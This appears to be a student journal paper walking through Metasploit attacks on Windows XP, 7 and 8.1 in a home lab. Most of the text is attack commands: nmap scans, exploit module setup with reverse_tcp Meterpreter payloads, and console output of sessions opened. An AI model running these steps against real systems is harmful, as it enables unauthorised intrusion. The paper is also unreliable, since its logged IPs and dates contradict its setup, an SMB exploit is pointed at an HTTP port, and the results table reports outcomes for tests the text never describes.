ISSN: 2347-6540

International Journal of Latest Research In Engineering and Computing (IJLREC)
Volume 2, Issue 6 , Page No. 1-11
www.ijlrec.com

SECURITY TESTING: WINDOWS OS

[1]Siddhanth Lathar , [2]Dr. Ashish Aggarwal
[1]Mount Carmel School
[2]University of Mumbai (BE), University of California – Santa Barbara (MS & PhD in Electrical Engineering)

ABSTRACT

This study deal with the security testing of window operating system. Study reviews the different security test in window operating system.

Keywords: window, security, testing

INTRODUCTION

SECURITY TESTING: WINDOWS OS

A **penetration test**, or the short form 'pentest', is an attack on a computer system with the sole intention of finding security weaknesses, and thereby potentially gaining access to its functionality and data. The process involves identifying the target systems and the goal, then reviewing the information available and undertaking available means to attain the goal.The main objective of penetration testing is to determine security weaknesses.
After my friend returned from a two month holiday, he called me for help to recover his laptop's password, which he forgot- Thanks to the holidays. He tried all tricks which he knew but was unsuccessful. After I got hold of his laptop I tried the usual methods, but I was unsuccessful too. I decided to search online to find a way to confront this problem. I came across a post which explained a method using Backtrack Linux to 'Hack' into someone's pc and gain admin privileges. Shocked by how simple it was, I decided to try it for myself and in a couple of hours I was successful in recovering the lost password. I decided to study it further, and find what more I could do with it. This led me to test the security on the Windows OS.

In my study I try to break in computers running on windows operating system and then identify the weak points of those Windows products. I use KALI LINUX – which is a Pentesting tool - to try and gain access to the computers running on windows XP, windows 7 and windows 8.1 and then find out various vulnerabilities in security of their OS. The systems are running on stock windows firewall and no Anti-Virus application is installed. An Opensource Pentesting software namely KALI LINUX was legally downloaded and series of exploits were used to test the security of windows OS.

With the fast growth of the Internet technologies, computer security has become a major concern for everyone. In a society so dependent on computers and networks, a secure computing experience should be the top priority. The idea of testing the security of a system by trying to break into it is a way to determine and correct the flaws in the security system. As my study focuses on Windows OS, it would help even an average person with basic knowledge of computers to understand their computers better. By knowing how Hackers attack their PCs, they can be prepared beforehand and avoid an attack.

STUDY 1 – WINDOWS XP SP2 FIREWALL DISABLED

Resources used Study 1-

1)	Kali Linux Distribution 1.0.9	(Platform for Penetration Testing)
2)	Metasploit Framework	(Framework used to run exploits)
3)	Target PC running windows XP SP2	(PC which was tested for Security)
4)	Host PC running KALI Linux	(PC which was used as the Attacker PC)
5)	TP-Link Wi-Fi Router	(The connectivity between two PCs)

Initial Configuration Study system 1:

1) KALI LINUX – Used via LIVE BOOT USB
2) Target PC – Running Windows XP SP2; Windows firewall disabled; Connected to the Router via Ethernet Cable.
3) Host PC – Running Kali Linux 1.0.9. Boot Loader settings: Secure Boot – Disabled \ Boot Mode – Legacy \ Connected to the router via Wi-Fi.
4) TP-Link Router – Firewall Enabled. WPA2 128-bit security AES Encryption.

Study 1 – Information Gathering:

a) Host PC is booted on Kali Linux with Live USB. Live USB (amd64) option is selected. A 'clean state' Linux is obtained, thereby ensuring that machine is devoid of any previous alterations.
b) A root terminal is started by clicking the terminal button on top bar, (the terminal starts with root@kali:~#) and the following commands were run.
root@kali:~# service postgresql start

c) The Database for exploits is now active. Another terminal window was opened and the following was run :

root@kali:~# service metasploit start

d) The metasploit service is started. In another terminal the following was run :

root@kali:~# msfconsole

e) After waiting for few minutes the Metasploit console opens. The terminal now starts with " msf> " instead of " root@kali:~# ".

f) In a new terminal window the following command was run to find about the IP Addresses of the connected devices.

root@kali:~# nmap – sP 192.168.1.1-200

(Where nmap is a scanner used to find connected devices and the 192.168.1.1-200 state the IP scan range)

The search returns three results – i) The HOST machine IP: 192.168.1.102
ii) The Target machine IP: 192.168.1.104
iii) The router IP: 192.168.1.1

g) The scanner gives us the IP of target machine with is now 192.168.1.104

h) The following commands in a terminal were run :

root@kali:~# nmap -n -sV 192.168.1.104

The following was the result -

PORT	*STATE*	*SERVICE*	*VERSION*
135/tcp	*open*	*msrpc*	*Microsoft Windows RPC*
139/tcp	*open*	*netbios-ssn*	
445/tcp	*open*	*microsoft-ds*	*Microsoft Windows XP microsoft-ds*
2869/tcp	*open*	*http*	*Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)*

MAC Address: 08:00:27:D3:2C:37 (HP)

i) The search determines the open ports on the Target machine. Hence showing vulnerability; also showing the firewall is off.

EXPLOITING –

a) In the msfconsle terminal we now run the exploit :

msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >set LHOST 192.168.1.102
msf exploit(ms08_067_netapi) >set RHOST 192.168.1.104
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_
tcp

(LHOST is the HOST PC; RHOST is the Target PC)

The PAYLOAD is the file which is send to the victim pc of opening via the open port.

b) Now we initiate our exploit :

msf exploit(ms08_067_netapi) >exploit

The following was the result:

[*] Started reverse handler on 192.168.1.33:6666
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.4
[*] Meterpreter session 2 opened (192.168.1.102:8080 -> 192.168.1.104:445) at 2013-05-03 03:27:25 -0700

meterpreter>

The ”meterpreter> “ indicates that The exploit is successful. We have gained admin privileges on the Target PC .

Using the command

meterpreter> options
We can see the possible actions which we can take nowlike reboot, shutdown, screenshot of the screen, start a keylogger etc.

EXPLOIT SUCCESSFUL. VULNERABILITY FOUND.

STUDY 2 – WINDOWS XP SP2 FIREWALL ENABLED

Resources used Study 2-
1) Kali Linux Distribution 1.0.9 (Platform for Penetration Testing)
2) Metasploit Framework (Framework used to run exploits)
3) Target PC running windows XP SP2 (PC which was tested for Security)
4) Host PC running KALI Linux (PC which was used as the Attacker PC)
5) TP-Link WiFi Router (The connectivity between two PCs)

Initial Configuration of study system 2:
1) KALI LINUX – Used via LIVE BOOT USB
2) Target PC – Running Windows XP SP2; Windows firewall ENABLED; Connected to the Router via Ethernet Cable.
3) Host PC – Running Kali Linux 1.0.9. Boot Loader settings: Secure Boot – Disabled \ Boot Mode – Legacy \

Connected to the router via Wi-Fi.

4) TP-Link Router – Firewall Enabled. WPA2 128-bit security AES Encryption.

THE ONLY CHANGE IN THE INITIAL CONFIG OF 'STUDY SYSTEM 2' WAS THAT THE WIREWALL OF THE TARGET PC WAS ENABLED.

Study 2– Information Gathering:

a) Host PC is booted on Kali Linux with Live USB. Live USB (amd64) option is selected. A 'clean state' Linux is obtained, thereby ensuring that machine is devoid of any previous alterations.

b) A root terminal is started by clicking the terminal button on top bar, (the terminal starts with root@kali:~#) and the following commands were run.

root@kali:~# service postgresql start

c) The Database for exploits is now active. Another terminal window was opened and the following was run :

root@kali:~# service metasploit start

d) The metasploit service is started. In another terminal the following was run :

root@kali:~# msfconsole

e) After waiting for few minutes the Metasploit console opens. The terminal now starts with " msf> " instead of " root@kali:~# ".

f) In a new terminal window the following command was run to find about the IP Addresses of the connected devices.

root@kali:~# nmap – sP 192.168.1.1-200

(wherenmap is a scanner used to find connected devices and '192.168.1.1-200 ' states the IP scan range)

The search returns three results – i) The HOST machine IP : 192.168.1.102
ii) The Target machine IP : 192.168.1.104
iii) The router IP : 192.168.1.1

g) The scanner gives us the IP of target machine with is now 192.168.1.104

h) The following commands in a terminal were run :

root@kali:~# nmap -n -sV 192.168.1.104

The following was the result -

PORT STATE SERVICE VERSION
2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
MAC Address: 08:00:27:D3:2C:37 (HP)

i) The search determines the open port on the Target machine. (2869). Hence showing a possible vulnerability; also showing the firewall is enabled as here are no other ports.

EXPLOITING –

a) In the msfconsle terminal we now run the exploit :

msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >set LHOST 192.168.1.102
msf exploit(ms08_067_netapi) >set RHOST 192.168.1.104
msf exploit(ms08_067_netapi) > set RPORT 2869
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_
tcp

(LHOST is the HOST PC; RHOST is the Target PC; The RPORT is the target open port which is possibly opened.)

The PAYLOAD is the file which is send to the victim pc of opening via the open port.

b) Now we initiate our exploit :

msf exploit(ms08_067_netapi) >exploit

The following was the result :

[*] Started reverse handler on 192.168.1.102:4444
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout
The connection timed out (192.168.1.104:445)

WE HAVE NO METERPRETER SESSION. THUS THE EXPLOIT FAILS.

STUDY 3 – WINDOWS XP SP2 FIREWALL ENABLED

Resources used Study 3:

1) Kali Linux Distribution 1.0.9 (Platform for Penetration Testing)
2) Metasploit Framework (Framework used to run exploits)
3) Target PC running windows XP SP2 (PC which was tested for Security)
4) Host PC running KALI Linux (PC which was used as the Attacker PC)
5) TP-Link WiFi Router (The connectivity between two PCs)

Initial Configuration study 3 system:

1) KALI LINUX – Used via LIVE BOOT USB
2) Target PC – Running Windows XP SP2; Windows firewall ENABLED; Connected to the Router via Ethernet Cable.
3) Host PC – Running Kali Linux 1.0.9. Boot Loader settings: Secure Boot – Disabled \ Boot Mode – Legacy \ Connected to the router via Wi-Fi.
4) TP-Link Router – Firewall Enabled. WPA2 128-bit security AES Encryption.

Study 3 – Information Gathering:

a) Host PC is booted on Kali Linux with Live USB. Live USB (amd64) option is selected. A ‘clean state’ Linux is obtained, thereby ensuring that machine is devoid of any previous alterations.
b) A root terminal is started by clicking the terminal button on top bar, (the terminal starts with root@kali:~#) and the following commands were run.

root@kali:~# service postgresql start

c) The Database for exploits is now active. Another terminal window was opened and the following was run :

root@kali:~# service metasploit start

d) The metasploit service is started. In another terminal the following was run :

root@kali:~# msfconsole

e) After waiting for few minutes the Metasploit console opens. The terminal now starts with " msf> " instead of " root@kali:~# ".

f) In a new terminal window the following command was run to find about the IP Addresses of the connected devices.

root@kali:~# nmap – sP 192.168.1.1-200

(wherenmap is a scanner used to find connected devices and the 192.168.1.1-200 state the IP scan range)

The search returns three results – i) The HOST machine IP : 192.168.1.102
ii) The Target machine IP : 192.168.1.104
iii) The router IP : 192.168.1.1

g) The scanner gives us the IP of target machine with is now 192.168.1.104

h) The following commands in a terminal were run :

root@kali:~# nmap -n -sV 192.168.1.104

The following was the result -

PORT	*STATE*	*SERVICE*	*VERSION*
2869/tcp	*open*	*http*	*Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)*

i) The search determines the open port on the Target machine. (2869). Hence showing a possible vulnerability; also showing the firewall is enabled as here are no other ports

EXPLOITING –

a) In the msfconsle terminal we now run the exploit :

msf> use server/browser_autopwn

msf auxiliary(browser_autopwn) > set LHOST 192.168.1.102

msf auxiliary(browser_autopwn) > set SRVHOST 192.168.1.102

msf auxiliary(browser_autopwn) > set SRVPORT 8080

msf auxiliary(browser_autopwn) > set URIPATH /

msf auxiliary(browser_autopwn) > exploit

The following is the result :

[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on 192.168.1.102:3333
[*] Starting the payload handler…
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse handler on 192.168.1.102:6666
[*] Started reverse handler on 192.168.1.102:7777
[*] Starting the payload handler…

[*] Starting the payload handler…

[*] - - - Done, found 19 exploit modules
[*] Using URL :http://192.168.1.102:8080 /
[*] Server started

AFTER SUCCESSFUL TRIGERING OF THE URL ON THE VICTIM PC, WE GET A METERPRETER SESSION. THUS WE HAVE ADMIN PRIVLEGES AND FOUND A VULNERABILITY.

STUDY 4 – WINDOWS 7 FIREWALLED

Resources used for study 4 :

1) Kali Linux Distribution 1.0.9 (Platform for Penetration Testing)
2) Metasploit Framework (Framework used to run exploits)
3) Target PC running windows 7 SP1 (PC which was tested for Security)
4) Host PC running KALI Linux (PC which was used as the Attacker PC)
5) TP-Link Wi-Fi Router (The connectivity between two PCs)

Initial Configuration study 4 system:

1) KALI LINUX – Used via LIVE BOOT USB
2) Target PC – Running Windows 7 SP1; Windows firewall enabled; Connected to the Router via Ethernet Cable.
3) Host PC – Running Kali Linux 1.0.9. Boot Loader settings : Secure Boot – Disabled \ Boot Mode – Legacy \ Connected to the router via Wi-Fi.
4) TP-Link Router – Firewall Enabled. WPA2 128-bit security AES Encryption.

Study 4 – Information Gathering.

a) Host PC is booted on Kali Linux with Live USB. Live USB (amd64) option is selected. A 'clean state' Linux is obtained, thereby ensuring that machine is devoid of any previous alterations.
b) A root terminal is started by clicking the terminal button on top bar, (the terminal starts with root@kali:~#) and the following commands were run.

root@kali:~# service postgresql start

c) The Database for exploits is now active. Another terminal window was opened and the following was run :

root@kali:~# service metasploit start

d) The metasploit service is started. In another terminal the following was run :

root@kali:~# msfconsole

e) After waiting for few minutes the Metasploit console opens. The terminal now starts with " msf> " instead of " root@kali:~# ".

f) In a new terminal window the following command was run to find about the IP Addresses of the connected devices.

root@kali:~# nmap – sP 192.168.1.1-200

(wherenmap is a scanner used to find connected devices and the 192.168.1.1-200 state the IP scan range)

The search returns three results – i) The HOST machine IP : 192.168.1.102
ii) The Target machine IP : 192.168.1.104
iii) The router IP : 192.168.1.1

g) The scanner gives us the IP of target machine with is now 192.168.1.104

h) The following commands in a terminal were run :

root@kali:~# nmap -n -sV 192.168.1.104

The following was the result -

PORT STATE SERVICE VERSION
2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
MAC Address: 08:00:27:D3:2C:37 (HP)

i) The search determines the open port on the Target machine. (2869). Hence showing a possible vulnerability; also showing the firewall is enabled as here are no other ports

EXPLOITING –

b) In the msfconsle terminal we now run the exploit :

msf>use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

msf> set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_046_shortcut_icon_dllloader)> set LHOST 192.168.1.102

msfexploit(ms10_046_shortcut_icon_dllloader)> set SRVHOST 192.168.1.102

msfexploit(ms10_046_shortcut_icon_dllloader)> set SRVPORT 8080

msfexploit(ms10_046_shortcut_icon_dllloader)> set URIPATH /

msfexploit(ms10_046_shortcut_icon_dllloader)> exploit

The following is the result :

[*] Using URL :http://192.168.1.102:8080 /

[*] Server started

Now as victim connects, we login to the system by running the command session session-i 1

meterpeter> session -i 1

AFTER SUCCESSFUL TRIGERING OF THE **http://192.168.1.102** ON THE VICTIM PC INTERNET EXPLORER, WE GET A METERPRETER SESSION. THUS WE HAVE ADMIN PRIVLEGES AND FOUND A VULNERABILITY.

STUDY 5 – WINDOWS 8.1 FIREWALLED

Resources used Study 5:

1) Kali Linux Distribution 1.0.9 (Platform for Penetration Testing)
2) Metasploit Framework (Framework used to run exploits)
3) Target PC running windows 8.1 (PC which was tested for Security)
4) Host PC running KALI Linux (PC which was used as the Attacker PC)

5) TP-Link Wi-Fi Router (The connectivity between two PCs)

Initial Configuration study 5 system:

1) KALI LINUX – Used via LIVE BOOT USB
2) Target PC – Running Windows 8.1; Windows firewall enabled; Connected to the Router via Ethernet Cable.
3) Host PC – Running Kali Linux 1.0.9. Boot Loader settings : Secure Boot – Disabled \ Boot Mode – Legacy \ Connected to the router via Wi-Fi.
4) TP-Link Router – Firewall Enabled. WPA2 128-bit security AES Encryption.

Study 5– Information Gathering.

a) Host PC is booted on Kali Linux with Live USB. Live USB (amd64) option is selected. A 'clean state' Linux is obtained, thereby ensuring that machine is devoid of any previous alterations.

b) A root terminal is started by clicking the terminal button on top bar, (the terminal starts with root@kali:~#) and the following commands were run.

root@kali:~# service postgresql start

c) The Database for exploits is now active. Another terminal window was opened and the following was run :

root@kali:~# service metasploit start

d) The metasploit service is started. In another terminal the following was run :

root@kali:~# msfconsole

e) After waiting for few minutes the Metasploit console opens. The terminal now starts with " msf> " instead of " root@kali:~# ".

f) In a new terminal window the following command was run to find about the IP Addresses of the connected devices.

root@kali:~# nmap – sP 192.168.1.1-200

(wherenmap is a scanner used to find connected devices and the 192.168.1.1-200 state the IP scan range)

The search returns three results – i) The HOST machine IP : 192.168.1.102
ii) The Target machine IP : 192.168.1.104
iii) The router IP : 192.168.1.1

g) The scanner gives us the IP of target machine with is now 192.168.1.104

h) The following commands in a terminal were run :

root@kali:~# nmap -n -sV 192.168.1.104

The following was the result -

PORT STATE SERVICE VERSION
2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
MAC Address: 08:00:27:D3:2C:37 (HP)

i) The search determines the open port on the Target machine. (2869). Hence showing a possible vulnerability; also showing the firewall is enabled as here are no other ports

EXPLOITING –

a) In the msfconsle terminal we now run the exploit :

msf>use multi/browser/java_signed_applet
msf exploit(java_signed_applet)> set PAYLOAD windows/
meterpreter/reverse_tcp
msf exploit(java_signed_applet)> set LHOST 192.168.1.102
msfexploit(java_signed_applet)> set SRVHOST 192.168.1.102
msfexploit(java_signed_applet)> set SRVPORT 8080
msfexploit(java_signed_applet)> set URIPATH /
msfexploit(java_signed_applet)> exploit

The following is the result:
[*] Started reverse handler on 192.168.1.102:3333
[*] Using URL :http://192.168.1.102:8080 /
[*] Server started

Now as victim connects , we login to the system by running the command session session-i 1

meterpeter> session -i 1

AFTER SUCCESSFUL TRIGERING OF THE **http://192.168.1.102** ON THE VICTIM PC INTERNET EXPLORER, WE GET A METERPRETER SESSION. THUS WE HAVE ADMIN PRIVLEGES AND FOUND A VULNERABILITY.

Section 3 - Result

RESULTS

EXPLOIT			PLATFORM	
	Win XP (Firewall Off)	Win XP (Firewall On)	Win 7 (Firewall On)	Win 8.1 (Firewall On)
ms08_067_netapi	Positive	Negative	Negative	Negative
server/browser_autopwn	Positive	Positive	Positive	Positive
ms10_046_shortcut_icon_dllloader	Negative	Negative	Positive	Negative
java_signed_applet	Positive	Positive	Positive	Positive

- Windows XP is highly vulnerable; It can be exploited by using almost every general windows exploit. However, when we turned on the firewall, although there was an open port, netapi exploit did not work. By using SSH Tunneling, we can bypass the firewall and gain easy excess with admin privileges. Best exploit – Netapi .

- Windows 7 has moderate security. It cannot be exploited by Netapi. However, by using other three exploits, itssecurity can be compromised. Best Exploit – Icon dllloader

- Windows 8.1 is highly secure - It can only be exploited by browser or java exploits. Best Exploit – Java applet.

CONCLUSION

From a practical standpoint the security problem will remain as long as manufacturers remain committed to current system architectures without a firm requirement for security. But the risks can still be minimized by enabling windows firewall. The firewall filters all outgoing data packets and drops the packets that are being sent to a risky source. Enabling firewall also closes the open ports, so it is harder to connect to the PC.
To secure windows 7 and 8.1; doing the following might help –

1) Updating the Anti – virus
2) Enabling Windows defender
3) Security settings set to Moderate-High
4) Enabling Windows Firewall with few exceptions granted
5) Updating JAVA to latest versions.

FUTURE WORK POSSIBILITIES

In the future I want to cover the entire set of gadgets which any usual person uses. I'm looking forward to test Security system on Macintosh – which is the second most used OS followed by Linux OS. I will also try to exploit the Android and iOS devices and then try and find out ways to make them more secure. Another possible field of work is testing out the security of Wireless Network Routers. By dividing them into different security types – WEP, WPA, and WPA2. – and working individually on them would surely result in various vulnerabilities.

ACKNOWLEDGEMENT

I am very thank full to my Research Mentor and guide **Dr. Ashish Aggarwal**

REFERENCES

1. "Microsoft Windows Security Center: The Voice of Security for Windows Vista". Microsoft. 6 October 2006. Retrieved 16 November 2009.
2. Jay Munro (25 August 2004). "Windows XP SP2 Security Center Spoofing Threat". Security Watch. PC Magazine. Retrieved 16 November 2009.
3. Stanek, William (2014). Windows Server 2012 R2 Inside Out Volume 1: Configuration, Storage, & Essentials. Inside Out 1. Microsoft Press. ISBN 9780735685611. Retrieved2014-10-27. In Task Scheduler, the following tasks are triggered by automated maintenance: [...] Microsoft\Windows\Power Efficiency Diagnostics. Analyzes power usage

